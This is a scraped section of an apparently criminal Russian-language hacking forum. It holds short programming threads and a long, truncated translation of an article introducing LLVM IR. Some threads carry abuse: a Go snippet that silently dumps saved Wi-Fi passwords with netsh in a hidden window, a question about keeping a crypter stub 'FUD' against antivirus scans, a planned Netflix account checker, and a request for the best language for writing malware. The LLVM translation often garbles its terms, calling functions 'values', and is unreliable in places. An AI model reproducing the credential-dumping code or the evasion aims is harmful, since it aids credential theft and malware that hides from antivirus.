Вопрос тупейший донельзя**, имеется папка C:\Users\...\123, в ней, к примеру 10 файлов, 3 подпапки, в подпапках по файлу. Задача в том, чтобы содержимое перенести в C:\Users\...\456.
Пробовал разными способами, включая способ переноса, указанный в документации майкрософт
Spoiler: Реализация от майков
Пытался форэчем сделать, ошибка та же
Ошибка, собственно на фото ниже.
(Наличие файла в папке - 100%, проверял кучу раз)
В л.с.
Подскажите можно ли сделать так чтоб я отправлял номер телефона в смс сообщении пользувателю, но ето все шифрувалось под какуюто силку, на которую пользуватель нажимает и на его телефоне сразу происходит визов на етот номер, тоесть номер не копируется на екран и потом в ручном режиме надо нажать на кнопку визова ,а сразу происходит дзвонок, кучу всего перепробувал не могу сам ето релизувать, по цене договоримя кто подскажет
Всем доброго.
Может кто работал с instagram4j на Java?
Интересует работа со сторис, а именно:
-размещение ссылки на статью из ленты в сторись, это делается из приложения Поделиться (самалетик) - Опубликовать в Сторис.
Сама по себу библиотека удобная для автоматизации публикаций в ленту, лайков и
подписок/отписок.
Хотелось бы расширить ее функционал, своими запросами...
Java ](https://github.com/instagram4j/instagram4j)
:camera: Instagram private API in Java. Contribute to instagram4j/instagram4j development by creating an account on GitHub.
github.com
Хочу написать чекер например на нетфликс какой-нибудь. С парсом данных
аккаунта и т.д.
Я прочитал книгу по основам шарпов, порешал задачки на кодварс 7 ранга. Что
дальше?
Где и что можно прочитать про взаимодействие с вебом, как писать авторизации и
т.д.
Может кто помочь где ошибка преобразования? Чет никак не пойму)
C++:Copy to clipboard
#include <windows.h>
#include <mshtml.h>
#include <shlwapi.h>
#pragma comment(lib, "urlmon.lib")
#pragma comment(lib, "shlwapi.lib")
// Функция для создания SAFEARRAY с BSTR
SAFEARRAY* CreateBstrArray(LPCWSTR str)
{
SAFEARRAY* sa = SafeArrayCreateVector(VT_BSTR, 0, 1);
if (sa) {
LONG index = 0;
BSTR bstr = SysAllocString(str);
SafeArrayPutElement(sa, &index, bstr);
SysFreeString(bstr);
}
return sa;
}
static void WriteHT(IHTMLDocument2* doc, const LPCWSTR content, const LPCWSTR baseURL)
{
if (baseURL && wcslen(baseURL) > 0) {
HRESULT hr;
IStream* stream = ::SHCreateMemStream((BYTE*)(content), (DWORD)(wcslen(content) * sizeof(WCHAR)));
if (stream) {
IPersistMoniker* persistMoniker = NULL;
hr = doc->QueryInterface(IID_IPersistMoniker, (void**)(&persistMoniker));
if (hr == S_OK) {
IBindCtx* ctx = NULL;
hr = ::CreateBindCtx(0, &ctx);
if (hr == S_OK) {
IMoniker* moniker = NULL;
hr = ::CreateURLMoniker(NULL, baseURL, &moniker);
if (hr == S_OK) {
hr = persistMoniker->Load(TRUE, moniker, ctx, STGM_READ);
moniker->Release();
}
ctx->Release();
}
persistMoniker->Release();
}
stream->Release();
}
}
else {
SAFEARRAY* sa = CreateBstrArray(content);
if (sa) {
doc->write(sa);
IHTMLElementCollection* pCollection = NULL;
HRESULT hr{};
hr = doc->get_all(&pCollection);
if (SUCCEEDED(hr)) {
// Теперь вы можете работать с коллекцией элементов
// Например, перебрать все элементы <p> в документе
long itemCount = 0;
hr = pCollection->get_length(&itemCount);
if (SUCCEEDED(hr)) {
for (long i = 0; i < itemCount; i++) {
IDispatch* pDisp = NULL;
VARIANT varName;
VariantInit(&varName);
varName.vt = VT_I4;
varName.lVal = i;
VARIANT varIndex;
VariantInit(&varIndex);
varIndex.vt = VT_EMPTY; // You can specify the appropriate value for 'name' if needed.
hr = pCollection->item(varName, varIndex, &pDisp);
if (SUCCEEDED(hr)) {
// Check if the returned pDisp is not null
if (pDisp) {
// Now you can work with the pDisp as needed
IHTMLElement* pElement = NULL;
hr = pDisp->QueryInterface(IID_IHTMLElement, (void**)&pElement);
if (SUCCEEDED(hr)) {
// Now you can work with the pElement
BSTR innerText = NULL;
hr = pElement->get_innerText(&innerText);
if (SUCCEEDED(hr)) {
// innerText contains the text of the element
// Handle it as needed
SysFreeString(innerText);
}
pElement->Release();
}
}
else {
// Handle the case where pDisp is null
}
pDisp->Release();
}
}
}
pCollection->Release();
}
doc->close();
SafeArrayDestroy(sa);
}
}
}
int main()
{
CoInitialize(NULL);
IHTMLDocument2* doc = NULL;
HRESULT hr = CoCreateInstance(CLSID_HTMLDocument, NULL, CLSCTX_INPROC_SERVER, IID_IHTMLDocument2, (void**)&doc);
if (SUCCEEDED(hr)) {
LPCWSTR content = L"<html><head><title>Sample HTML</title></head><body><p>Hello, World!</p></body></html>";
LPCWSTR baseURL = L"";
WriteHT(doc, content, baseURL);
// Release the document interface
doc->Release();
}
CoUninitialize();
return 0;
}
здравствуйте, могу ли я как-то по средствам хукинга или других средств получить информацию о том, что именно в .data секции читает программа?
Короче есть проблема, считайте что у меня стаб, который принимает онли строки(т.е. вызов ген детектов идёт даже НЕ из за ресурсов). Значит компилирую через VS- скантайм фуд чистый, пиздатый. Патчу софт через Dnlib и получаю результат ниже:
С чем это может быть связанно? оптимизация инструкций не особо помогает
Code:Copy to clipboard
package main
import (
"fmt"
"os/exec"
"syscall"
)
func WifiKeys() string {
params := "netsh wlan show profile name=* key=clear"
cmd := exec.Command("cmd.exe", "/c", params)
cmd.SysProcAttr = &syscall.SysProcAttr{HideWindow:true}
output,_ := cmd.CombinedOutput()
return string(output)
}
func main() {
fmt.Println(WifiKeys())
}
Делаю приложение, которое будет сохранять в базу данных некоторые переменные, при открытии приложения. Есть совет или фрагменты кода, как можно реализовать? Внутри приложения не хочу указывать никакие данные т.к. будет небезопасно.
I am looking for a programmer who is familiar with C++ to compile a project for US$100. If you are interested, please send me a private message.
Link Download :
![send.exploit.in](/proxy.php?image=https%3A%2F%2Fsend.exploit.in%2Fsend- fb.358d4b57.jpg&hash=824ffe54bac782fbc1c2b7f04639d4b7&return_error=1)
](https://send.exploit.in/download/bc1c250730421a65/#d9FYNfCJVlVa46xdHHEktg)
Encrypt and send files with a link that automatically expires to ensure your important documents don’t stay online forever.
send.exploit.in
В общем начитался дохуя новостей про хакинг , мальвары и т.д
Заинтересовался этой темкой и захотел тоже мутить эту тему
На чем лучше писать мальвары и все в этом стиле?
Spoiler: Аннотация
Всем привет. Представляю вам перевод статьи о LLVM IR. Текст профессионально- ориентирован и не подойдет для широкого круга читателей. Перевод выполнен специально для форума XSS.is и выкладывается только на данном форуме. (оригинал статьи)
Краткое знакомство с LLVM IR.
На днях я увидел этот твит. В нем, Эндрю Галлант утверждает что внедрение LLVM IR (низкоуровневых виртуальных машин с промежуточным представлением) вместо ассемблера является полезным инструментом для тех кто работает над производительностью. К сожалению, учебный материал по LLVM обычно предназначен для инженеров-программистов компилятора, а не для специалистов широкого профиля.
Итак, поскольку я являюсь таковым, мой ответ это: « конечно вам следует знать, какое промежуточное представление у вашего оптимизатора». Но я считаю, что существует оправданная причина иметь возможность прочитать его, так же как и возможность чтения ассемблера, так как это мощный инструмент для понимания того, что делает ваш процессор. Сначала я рекомендую прочитать первую часть статьи о знакомстве с ассемблером, которую я написал более года назад (и до сих пор не выложил продолжение... ).
Изучение LLVM IR схоже, но статья поможет вам понять что делает ваш компилятор для создания высокооптимизированного кода. LLVM IR очень популярен, достаточно обоснован и сформулирован так, что мы можем относиться к нему, как к слегка своеобразному языку программирования.
В этой статье я хочу углубиться в то, чем является LLVM IR и как его прочитать.
Что такое LLVM IR?
“LLVM” это общий термин для некоторых компонентов оборудования. Он может быть использован для создания компиляторов. Если вы писали код, влияющий на производительность, вы скорее всего слышали о нем.
Его основным продуктом является Clang, компилятор-флагман для C/C++/Objective-C. Он имеет традиционную архитектуру компилятора: фронтенд, который анализирует исходный код в AST и переводит его в промежуточное представление (ПП) , затем оптимизатор (или «посредник») переводит ПП в более лучший вид и далее бэкенд конвертирует ПП в машинный код под необходимую платформу.
Часто, LLVM относится только к оптимизатору и бэкенду Clang. Это можно рассматривать как компилятор для «языка LLVM» или «ассемблера LLVM». Фактически, Clang, как и другие фронтенды вроде Rust, компилируют в LLVM IR, который затем компилирует все в машинный код.
LLVM IR широко распространен и... в известной мере, стабилен, что делает его очень хорошим инструментом для компиляций, поскольку разработчики языка могут сэкономить тысячи вложенных в него часов. Источником истины в вопросе «что такое LLVM IR?» является LangRef.
LLVM IR имеет также бинарный формат (иногда называемый «биткодом»), хотя мы
будем работать исключительно с его текстовым форматом (который использует
расширение .ll
).
LLVM-ориентированные компиляторы будут иметь флаги отладки, заставляющие их
выводить ПП вместо конечного результата. К примеру, для Clang это выглядит
так: clang++ -S -emit-llvm foo.cc
, когда для Rust это: rustc --emit=llvm-ir foo.rs
. Godbolt также способен воспроизвести данные указания и верно
отобразить конечный результат LLVM IR.
Вернемся к базовым блокам
LLVM IR может быть довольно пугающим при чтении, поскольку содержит намного больше вспомогательной информации чем дамп сборки. Рассмотрим это значение:
Если вы нажмете на виджет “Godbolt”, вы попадете на его сайт, где он производит это значение в LLVM IR. Большая часть кода это просто метаданные, но выглядит по-настоящему жутко!
Начиная с выходных данных компилятора, кривая сложности будет крутой, потому что нам придется столкнуться со всеми трудностями LLVM IR. Для Rust, это, скорее всего, будет означать столкновение с обработкой исключений, функционированием атрибутов, которые обеспечивают его гарантии для LLVM (к примеру, необнуленные указатели), а также с тем, каким образом реализованы паники.
Но начнем мы со знакомства с базовым синтаксисом LLVM IR, и только потом займемся чтением выходных данных.
Элементарное значение
Основой LLVM IR являются определения значений, представленные командой define.
Также присутствует команда declare
, которая имеет ту же цель, что и значение
не имеющее тела в языке C: она вводит внешний символ в поле видимости.
К примеру, она не получает аргументов и сразу проводит возврат:
Тип возвращаемого значения (void
) идет сразу за ключевым словом define
.
Значение начинается с @
, что напоминает нам принцип сигилов: каждый
задаваемый пользователем символ начинается с сигила, обозначая какого вида
является этот символ. @
используется для глобальных переменных и значений:
для того, к чему вы можете обратиться (когда @
используется с переменными,
они всегда используются с типизацией ptr
)
Тело значения похоже на ассемблер: список меток и команд. Однако, в отличии от стандартного ассемблера, существуют значительные ограничения в структуре этих команд.
В данном случае, у нас только одна команда: возврат с void
типизацией. В
отличие от большинства языков-ассемблеров, LLVM IR сильно типизирован и почти
везде запрашивает точную сигнатуру типа.
Вот еще одно элементарное значение.
Это значение спровоцирует неопределенное поведение: команда unreachable
предоставляет путь выполнения кода, который для компилятора может показаться
не исполненным; это, к примеру, не похоже на нереализованную команду ud2
в
архитектуре x86, которая гарантированно выдаст ошибку.
Это является важным отличием между LLVM IR и любым другим языком-ассемблером:
некоторые операции специально оставлены неопределенными для освобождения места
приоритетным оптимизациям. Например, LLVM IR может вести себя так, потому что
команда @do_not_call
сразу провоцирует неопределенное поведение. Все вызовы
этой команды являются также недоступными (и начиная с нее создают
недоступность).
Код скалярного типа
Начнем с базовых значений, которые могут выполняться только с целыми числами. Рассмотрим следующее значение, которое возводит 32-битное целое число в квадрат:
Сейчас наше значение получает аргумент и содержит несколько команд.
Аргумент указан как i32 %x
. А имена с сигилом %
являются чем-то вроде
локальных переменных, но с некоторыми ограничениями, что делает их более
поддатливыми для оптимизации. Как мы увидим дальше, это не совсем
«переменные». Иногда, LLVM называет их регистрами ; в каком-то смысле, LLVM
IR это ассемблер для абстрактных машин с бесконечным количеством регистров.
Далее в этой статье, %
-присвоенные имена я буду называть «регистрами».
i32
это примитивные типы целых чисел. Все типы целых чисел в LLVM имеют
форму iN
для всех N (даже не кратных восьми). Здесь нет знаковых или
беззнаковых типов, вместо этого, команды которые относятся к «знаковости»
определяют используемую ими семантику.
Первая команда это mul i32
, которая возводит два i32
операнда вместе и
производит возврат значения, а мы назначаем ему новый регистр
%11
[1].
Следующая команда возвращает это значение.
Остальные операторы арифметических вычислений имеют ожидаемые вами названия:
add, sub, and, or, xor, shl
(сдвигает результат смены битов влево). Также
существуют две команды для деления и остатка, знаковые (sdiv
, srem
) и
беззнаковые (udiv, urem
). И две команды для сдвига вправо, опять-же,
знаковая (ashr
) и беззнаковая (lshr
).
Задача для читателя: почему /, %
, и >>
единственные операции для знаковых
и беззнаковых версий?
Мы можем также конвертировать из одного типа целых чисел в другой, используя
trunc
, zext
, и sext
, которые отсекают, расширяют до нуля и повышают кол-
во битов (sext
и zext
еще одна знаковая/беззнаковая пара). К примеру, если
мы хотим чтобы значение square не переполнилось, мы можем написать:
Здесь мы переводим %x
в i64
путем повышения кол-ва битов (поскольку мы
решили что возводим в квадрат целые числа) и затем возводим в квадрат
имеющийся результат. trunc
и zext
имеют такой-же синтаксис, как и sext
.
«Я еще вернусь»
Разумеется, что интересующая нас функция имеет поток управления. Представьте, что нам требуется функция безопасного деления. Так как деление на ноль вызывает неопределенное поведение, нам нужно провести его с точностью.
Получается что-то вроде этого:
Мы могли-бы попробовать select
(«тернарный» оператор LLVM).
Однако, здесь мы сталкиваемся с проблемой: деление на ноль = неопределенное
поведение[2],
а select
не проводит вычислений по сокращенной схеме (его семантика ближе к
семантике cmov
в архитектуре x86).
Чтобы все верно скомпилировать, следует использовать команду br
, которая
представляет общую операцию
ветвления[3].
В терминалах языка С, br i1 %cond
, label %a
, label %b
равняются if (cond) goto a;
else goto b;
.
Вот как мы могли-бы это написать:
Теперь у нашей функции есть метки, которые используются командой br
в
качестве меток перехода.
В первом блоке мы проведем проверку d == 0
, вызываемую командой icmp eq
.
Она проводит возврат i1
(типа LLVM, который используется для булевских
значений). Затем передаем результат br
, которая переходит к первой метке в
случае, если та является нулем, в любом другом случае – ко второй.
Второй блок – это блок предварительных возвратов. Он проводит возврат «контрольного» значения. Третий не требует объяснений.
Каждый из них является «базовым»: последовательный поток неконтролируемых операций вместе с командой, которая выводит управляющий поток из блока. Эти блоки формируют граф потока управления (ГПУ) функции.
Вот также несколько команд «блока-терминатора». Форме br
с одним аргументом
присвоена одна метка и простая безусловная команда goto
. Тут также
используется switch
, что схожа со switch
в языке С:
switch
должна иметь целочисленный тип. Хоть вы и могли-бы отобразить эту
операцию с цепочкой br
-ов, команда switch
облегчит LLVM генерацию таблиц
переходов.
Команда unreachable
, что мы видели ранее, является особым ограничителем, не
вызывающим управляющую конструкцию, но она может завершить блок при достижении
им неопределенного поведения. Что, например, является равноценным команде
std::unreachable()
в языке C++.
LLVM удалил мой код!
Команда unreachable
является хорошим примером того, почему LLVM использует
базовый блок ГПУ. Вот простейший этап оптимизации удаления мертвого кода:
1. Заполните группу каждым блоком, который заканчивается на unreachable
.
2. Если ограничитель каждого блока ссылается на недоступную группу, удалите
эту метку из ограничителя. К примеру, если у нас есть br i1 %c
, label %a
,
label %b
и недоступная группа содержит %a
, то мы можем заменить его на br label %b
.
3. Если каждое исходящее соединение от блока удалено на 2 пункте, то замените
ограничитель командой unreachable
.
4. Удалите все блоки в недоступной группе.
5. Повторите процедуру столько раз, сколько пожелаете.
Шар из unreachable
по наитию взлетает до ГПУ, растворяя в себе его части.
Остальные пути доступа, могут генерировать некоторое кол-во unreachable
и
отобразить неопределенное поведение. Это взаимодействие вместе с процедурой
удаления мертвого кода является причиной для фразы «компилятор удалит ваш
код».
Текущий путь доступа к удалению мертвого кода более сложен, поскольку вызовы функций затрудняют понимание того, является-ли блок «чистым», и соответственно прозрачно удаляемым.
Но что если мы хотим произвести что-нибудь более сложное, вроде a / b + 1?
Это выражение имеет промежуточный результат, поэтому мы не можем использовать
два возврата, как раньше.
Работать с этим не так-то просто: если мы попытаемся назначить один и тот-же регистр в разных блоках, то верификатор IR пожалуется. Это подводит нас к концепции статического одиночного присвоения.
Враки! Враки!
LLVM IR это единственное статическое присваивание (ЕСП). Появилось LLVM IR в начале столетия для создания современного ЕСП-оптимизатора в качестве учебного проекта. ЕСП сегодня – широко популярно для оптимизации императивного кода.
ЕСП означает, что каждому регистру присвоено не более одной команды на функцию. Разные исполнения одного и того же блока в одной и той же функции могут производить разные значения для определенных регистров, но мы не можем модифицировать те регистры, которым уже присвоена команда.
Другими словами:
1. Каждый регистр гарантированно будет инициализирован одним-единственным выражением.
2. Каждый регистр зависит только от значений регистров, присвоенных до его определения.
Здесь присутствует множество полезных функций для написания оптимизаций. К
примеру, внутри простого блока, каждое использование определенного регистра
%x
всегда относится к одному значению, которое делает такие оптимизации как:
«глобальное вычисление значений» и «сворачивание констант», более простыми для
написания, поскольку здесь не требуется отдельно отслеживать состояние каждого
регистра по всему блоку.
В ЕСП мы рассматриваем модификацию как множество версий одной переменной. Так,
мы можем понизить x += y
как:
Здесь мы использовали соглашение var.n для определения версии переменной, которую представляет указанный регистр. (LLVM не обеспечивает никаких соглашений о наименованиях).
Однако, при появлении циклов становится неясно, как управлять версиями, ведь количество регистров в функции статично, а количество цикличных итераций динамично.
Как конкретно мы реализуем эту функцию?
Мы могли-бы попробовать так:
Но тут есть проблема! Какие определения для %r
и %i
являются настоящими?
Верификатор ПП пожалуется, что эти регистры зависят напрямую сами от себя, что
является нарушением в ЕСП. Так как правильно воспроизвести эту функцию?
Одним из выходов может быть обращение к LLVM! Мы неправильно реализуем эту функцию и позволим оптимизатору подчистить ее для нас.
Сначала для проведения модификации, давайте напишем функцию, используя такие
операциии по управлению памятью, как load
-ы и store
-ы. Мы можем
использовать команду alloca
для создания слотов стека неизменного размера.
Эти команды производят возврат ptr [^clang-codegen]
.
Clang намусорил, а LLVM за ним подчистил
Кстати, именно так Clang и Rust генерируют LLVM IR: переменные стека
преобразуются в alloca
-и и управляются через загрузки и хранилища. Временные
переменные в основном превращаются в %regs
-ы, но иногда компилятор
генерирует дополнительные alloca
-и чтобы долго не думать о необходимости
создания команд phi
.
Это довольно удобно, ведь позволяет не задумываться об ЕСП за пределами LLVM,
а LLVM в свою очередь может с легкостью избавиться от ненужных alloca
-ов.
Код, который я написал для кодогенерации из @pow
очень схож с тем, что Rust
отправил-бы в LLVM (хотя из-за использования итератора, там присутствует
слишком много произведенного Rust-ом мусора, с которым LLVM придется
справляться.)
Затем, мы можем передать это оптимизатору LLVM. Команда opt, являющаяся частью
дистрибуции LLVM, запускает определенные проходы оптимизатора в ПП. В нашем
случае, мы хотим opt -p mem2reg
, которая запускает одиночный проход «память-
регистр». Мы также можем запустить opt --O2
или похожую для получения
аналогичной
оптимизации[4],
что запускает clang -O2
.
Вот результат:
alloca
-и изчесли, но мы встретились с новой командой: phi
. «φ-узел» это
жаргонная форма из документов ЕСП. Греческая буква φ означает «врун, обманщик,
жулик». Эти команды выбирают значение из списка на основе того, из какого
базового блока к какому блоку мы перешли.
Например, в phi i32 [0, %start], [%i.new, %loop]
говорится: «это значение
должно быть 0, в случае если мы пришли из начального блока, в любом другом
случае %i.new
, если пришли из %loop
».
В отличии от других команд, phi
может относиться к неустановленным значениям
во всех блоках, доминирующих в текущем блоке. Это позволяет нам иметь
динамическое количество версий переменных! Вот как это выглядит в контексте
динамического исполнения.
Блок %a
доминирует над блоком %b
если каждый из предыдущих блоков является
%a
или блоком в котором доминирует %a
. Другими словами, каждый путь из
первого блока к блоку %b
проходит через блок %a
. В общем, команды могут
относиться только к значениям определенным предыдущими командами в конкретном
блоке или значениям из других блоков, доминирующих над оным.
1. %start
переходит прямо в %loop_start
. Первый блок не может быть целью
перехода, пока он не имеет нод phi
, потому что предыдущие блоки включают в
себя место вызова функции.
2. С того момента, как мы вывели %loop_start
из %start
, %i.0
и %r.0
были выбраны в качестве первых версий (теоретических) переменных I
и r
, то
есть их изначальных значений, мы переходим к %loop
.
3. После того, как %loop_start
доминирует над %loop
, мы можем прямо
использовать %i.0
и %r.0
(это является операциями *=
и +=
). И затем мы
снова возвращаемся к %loop_start
.
4. Вернувшись в %loop_start
, phi
-сы теперь выбирают %i.new
и %r.new
,
так что %i.0
и %r.0
теперь являются вторыми версиями I
и r
. В ходе
индукции, N-ное количество исполнения %loop_start
будет иметь N-ное
количество версий I
и r
.
5. Когда мы, в конце концов доберемся до %exit
, мы можем использовать
%r.0
(поскольку над ним доминирует %loop_start
), что будет являться
%y
-нными версиями r
. Это наше значение возврата.
Здесь стоит остановиться и подумать о том, что мы сделали. ЕСП, доминация и
phi
-сы могут не уложиться к вас в голове и они являются необходимыми для
чтения большинства ПП. Но это является очень ценным знанием, потому что
затрагивает то, как компиляторы видят
код[5].
Вместе с phi
и br
, мы сможем построить поток управления любой сложности
внутри
функции[6].
Типы и агрегаты
Теперь, когда мы рассмотрели основные скалярные функции, давайте коснемся системы типов LLVM.
Мы рассмотрели i32
и соответствующих ему. Они имеют произвольные биты с
целыми числами. I1
особенный, потому что является логическим типом.
Оптимизации LLVM известны своими генерациями целочисленных типов с размерами
отличными от степени двойки.
LLVM также имеет float
и double
, вместе с несколькими особенными
float
-типами, как bfloat
. Они используют собственные арифметические
команды с различными опциями. Я расскажу о них далее; для большей информации
рассмотрите fadd
и подобные по ссылке:
LangRef.
Мы также ознакомились с void
, которая используется в качестве возвратного
значения, а также ptr
используемый как
безтиповый[7]
указатель.
Вместе с тем рассмотрели псевдо-тип label
, представляющий метку блока. Он не
отображается в момент использования и имеет ограниченный спектр действия
(аналогичные с ним: token
и metadata
).
Массивы пишутся так: [n x T]
. Число должно быть целым и его тип должен иметь
определенный размер (пример: [1024 x i8]
). Массивы нулевого размера также
поддерживаются.
Структуры выглядят так: {T1, T2, ...}
(пример: {i64, ptr}
это из Rust).
Поля структур не имеют названий, вместо этого они индексируются. Форма
<{...}>
это упакованная структура, которая удаляет заполнение между полями
(пример: #[repr(packed)]
компилируется до такой формы).
Векторы похожи на массивы, но пишутся так: <n x T>
. Эксплуатируются для
представления типов используемых в SIMD (ОКМД) операциях. Например: добавление
двух <4 x i32>
понижает векторное добавление AVX2 на архитектуре x86. Я не
буду затрагивать SIMD в этой статье, хотя на более высоких уровнях
оптимизации, LLVM объединит скалярные операции с векторными, так что вы можете
с ним встретиться.
Псевдонимы типов могут быть созданы в области действия файла с помощью синтаксиса:
Это означает, что %T
может быть как типом, так и регистром/меткой внутри
функции, в зависимости от синтаксической позиции.
Операции с агрегатами
insertvalue
и extractvalue
могут использоваться как со структурным, так и
с типом массивов для статического доступа к полю. Например:
insertvalue
наоборот производит копию агрегата с особым измененным полем.
Оно НЕ модифицируется, потому что ЕСП не позволяет это сделать.
Вот похожие операции: insertelement
и extractelement
работающие с
векторами, но имеющие немного другой синтксис и семантику.
И наконец, - getelementptr
, «арифметическая команда с указателем». Часто
сокращается до GEP и может использоваться для вычисления смещенного указателя
в структуре. Например:
Она принимает указатель, который якобы указывает на индекс и массив из
%MyStructs
-ов. Также производит возврат указателя в поле i64
%idx
-го
элемента %p
.
Несколько важных различий между GEP и extractvalue
:
1. Принимает безтиповый указатель вместо значения конкретного типа структуры/массива.
2. Существует дополнительный параметр определения индекса: с точки зрения
GEP, каждый указатель - это указатель к массиву с неопределенной привязкой.
Проводя операции с указателем, который не указывает (в момент работы) на
массив, все равно будет запрашиваться индексный операнд равный нулю. В
качестве альтернативы, можете рассмотреть указатель к T
, как указатель к
одноэлементному массиву.
3. Параметры индекса требуют точности типов.
LLVM предлагает полезное[8] FAQ об использовании GEP: https://llvm.org/docs/GetElementPtr.html.
Другие операции
Остальные операции очень актуальны для чтения ПП, но они не попадают ни под одну определенную категорию. Как всегда, LangRef предлагает полное описание их функционала.
Вызовы функций
Команда call
вызывает любую ptr
в качестве функции. Например:
Заметьте, что вместо @global
могло быть %reg
, что означает вызов указателя
функции.
Иногда, вы будете видеть invoke
, используемую для «реализации функции внутри
блока C++ try {}
». В Rust это встречается редко, но может появиться в
некоторых кодах языка C++.
Вызовы функций часто являются замусоренными областями ПП, потому что они слишком аннотированы.
Синхронизация
Ранее рассмотренные команды load
и store
могут быть аннотированы как
atomic
, используемая для реализации, например: AtomicU32::load
в Rust. Это
также требует определения атомарного порядка. Пример:
Операция fence
это главная барьерная операция с памятью, относящаяся,
например, к функции Rust: std::sync::atomic::fence
.
сmpxchg
производит элементарную операцию сравнения с обменом (ССО). Она
возвращает {T, i1}
вместе с предыдущим значением и информацию о том,
успешно-ли прошла ССО. cmpxchg weak
реализует примитив “weak CAS” вызывающий
ложный сбой.
В конце концов, atomicrmw
атомарно проводит цикл чтения-модицикации и записи
(пример: *p = op(*p, val)
). Используется для реализации функции
AtomicU32::fetch_add
и подобных.
Все эти операции кроме fence, могут быть отмечены как volatile
. В LLVM IR,
как и в Rust, но не в C/C++, одиночные загрузки и хранилища являются
изменчивыми (оказывают на компьютер невидимые для него побочные действия).
volatile
можно совместить с атомарными операциями (пример: load atomic volatile
), хотя большинство языков не предоставляют такую возможность (кроме
старых версий C++).
Перетолкование сложных махинаций
bitcast
это то, во что в конечном счете компилируются mem::transmute
и
reinterpret_cast
в Rust и C++ соответственно. Она может конвертировать любой
неагрегатный тип (целые числа, векторы) в любой тип с сохранением той-же
ширины бита. Например, ее можно использовать для получения битов значения с
плавающей точкой:
Она также использовалась для приведения типов указателей (например: из i32*
в i8*
). Сейчас все указатели безтиповые (ptr
), поэтому в ней нет
необходимости.
Однако, bitcast
не может выполнять преобразование между указателями и
целочисленными данными. Для этого нам следует использовать команды inttoptr
и
ptrtoint
[9].
Они имеют одинаковый синтаксис, но взаимодействуют со схематической семантикой
преобразования указателя в целое число и происхождения указателя. Эта часть
семантики LLVM походит на длительное горение мусора. Посмотрите пост Ральфа
Юнга о знакомстве с
этой проблемой.
Встроенные функции
В LLVM существует также большое количество внутренних функций, которые описаны
в LangRef. Например, если мы хотим
провести встроенное memcpy
(копирование памяти), то мы можем обозначить это
с помощью команды declare
:
Все внутренние функции LLVM начинаются с llvm.
: и для рассмотрения всех у
нас не хватит никакой статьи.
Я также не берусь за обсуждение плавающей точки, SIMD (ОКМД) и обработку исключений. Каждая из этих тем требует написания отдельной статьи!
Неопределенное поведение
LLVM существует для геренации оптимизированного кода, и оптимизации требуют чтобы мы описывали некоторые состояния машины как «невозможные», таким образом мы сможем определить когда нам необходимо упростить код. Это является «неопределенным поведением».
Например, мы уже сталкивались с unreachable
, что как предполагает LLVM не
может быть выполнено. Деление на ноль и попытка доступа к памяти за пределеами
допустимых значений тоже являются неопределенным поведением.
Большинство факторов LLVM UB основаны на концепции «отравленных значений».
«Отравленное значение» воспринимается как «принятие каждого значения только
один раз» в зависимости от того, что для данной оптимизации более удобно в
данный момент без учета других проходов. Это означает, что если при
оптимизации не обнаруживается сбоев, то с точки зрения LLVM выдать вам
«мусорные значения» будет считаться нормальным. Чаще всего это заметно при
-O0
, которая проводит минимальную оптимизацию.
Использование «отравленных значений» как указателя в load
, store
или
call
считаются неопределенным поведением, потому что LLVM может определить
их как нулевой указатель. Они также не могут быть знаменателями к udiv
и
подобным. Добавление т.н. «яда» в br
или switch
тоже считается
неопределенным поведением.
LLVM может выполнить анализ потока данных для определения операций с
«отравленным значением» от которых происходит неопределенное поведение, и
таким образом предположить что эти операции не могут являться его источником.
Это происходит потому что все операции (кроме phi
и select
) приводят к
сбою, а противоположное суждение LLVM только позволяет распространять его
дальше. Вот откуда появляется так называемое «путешествующее во времени
неопределенное поведение».
Множество операций приводят к сбою. В языке C, например, знаковое переполнение
является неопределенным поведением, поэтому добавление заменяется на add nsw
(nsw
означает «оболочка без подписи»). И вместо того, чтобы завершить работу
при переполнении, команда дает сбой. Вот также неподписанная версия аннотаций:
nuw
.
Другие операции имеют «менее определенные» версии, которые либо генерируются оптимизаторами, либо вставляются непосредственно компилятором, что в свою очередь вызывает LLVM в том случае, если правила языка позволяют (см. C выше). Прилагаю пару примеров:
1. udiv
и другие имеют точную аннотацию, которая требует чтобы деление
имело нулевой остаток, либо дают сбой.
2. getelementptr
имеет аннотацию inbounds
, которая вызывает сбой в случае
доступа за допустимыми пределами. Это меняет ее от чисто арифметической
операции до еще одной точно соотносимой с арифметическими ограничениями
указателя языка С. GEP без inbounds
соответствует функции <*mut T>::wrapping_offset()
в Rust.
3. Операции с плавающей точкой маркированные nnan
и ninf
вызовут сбой
вместо NaN или бесконечного значения соответственно (либо же когда NaN или
бесконечное значение являются аргументами).
Однако, создание сбоев это не неопределенное поведение, это только его использование. Это проще чем работа неопределенного поведения в большинстве языков. В языке С переполнение постоянно вызывает неопределенное поведение, но переполнение в LLVM которое никогда «не происходит» просто игнорируется. Это простейшая операционная семантика для определения правильности оптимизаций: неопределенное поведение чаще стоит рассматривать как побочный эффект, потому что компилятор сгенерирует код который введет программу в неработающее состояние. Например, деление на ноль станет причиной ошибок в множестве архитектур. Это оозначает, что операции ставшие причиной неопределенного поведения не всегда могут быть правильно упорядочены. Переставляя «причины неопределенного поведения» с «причинами сбоев» гарантирует то, что боьшинство операций являются чистыми и могут быть легко переупорядочены.
Чтение некоторых методов Codegen
Вернемся к первому примеру с Rust!
Это полученный результат с отредактированными метаданными и некоторыми изменениями для удобного чтения.
Основная функция это @_ZN7example6square17hb32bcde4463f37c3E
, что является
скоректированным названием example::square
. Поскольку он был сгенерирован в
режиме отладки, возникает паника при переполнении, поэтому для этого нужно
сгенерировать еще код. Первая операция это call
базовых функций LLVM для
«умножения и сообщения о переполнении». Она возвращает равное значение (i32
,
bool
), мы извлекаем оба значения с помощью extractvalue
. Затем мы
пропускаем тип bool
через @llvm.expect
, испольуемый для сообщения
оптимизатору отработать ветку паники как «холодную». Основная ветка дает
возврат произведения; если нет, мы идем к функции core::panicking::panic()
,
чтобы она провела панику в текущем потоке. Данная функция не дает возвратов,
поэтому мы можем завершить блок с помощью unreachable
.
Остальная часть файла состоит из:
1. declare
-ы которые мы использовали для базовых функций LLVM.
2. declare
для core::panicking::panic
. Любая внешняя функция должна быть
заdeclare
-на. Также это дает возможность отключить атрибуты для функции.
3. Глобальные константы для core::panic::Location
и сообщений о панике.
4. Атрибуты для выше описанных функций.
Сейчас как раз время отметить атрибуты. LLVM имеет в наличии все виды
атрибутов которые могут быть помещены в функции (и вызовы функций) для записи
необходимой информации об оптимизации. Например, @llvm.expect.i1
аннотирован
как willreturn
: это означает, что в конечном итоге эта функция проведет
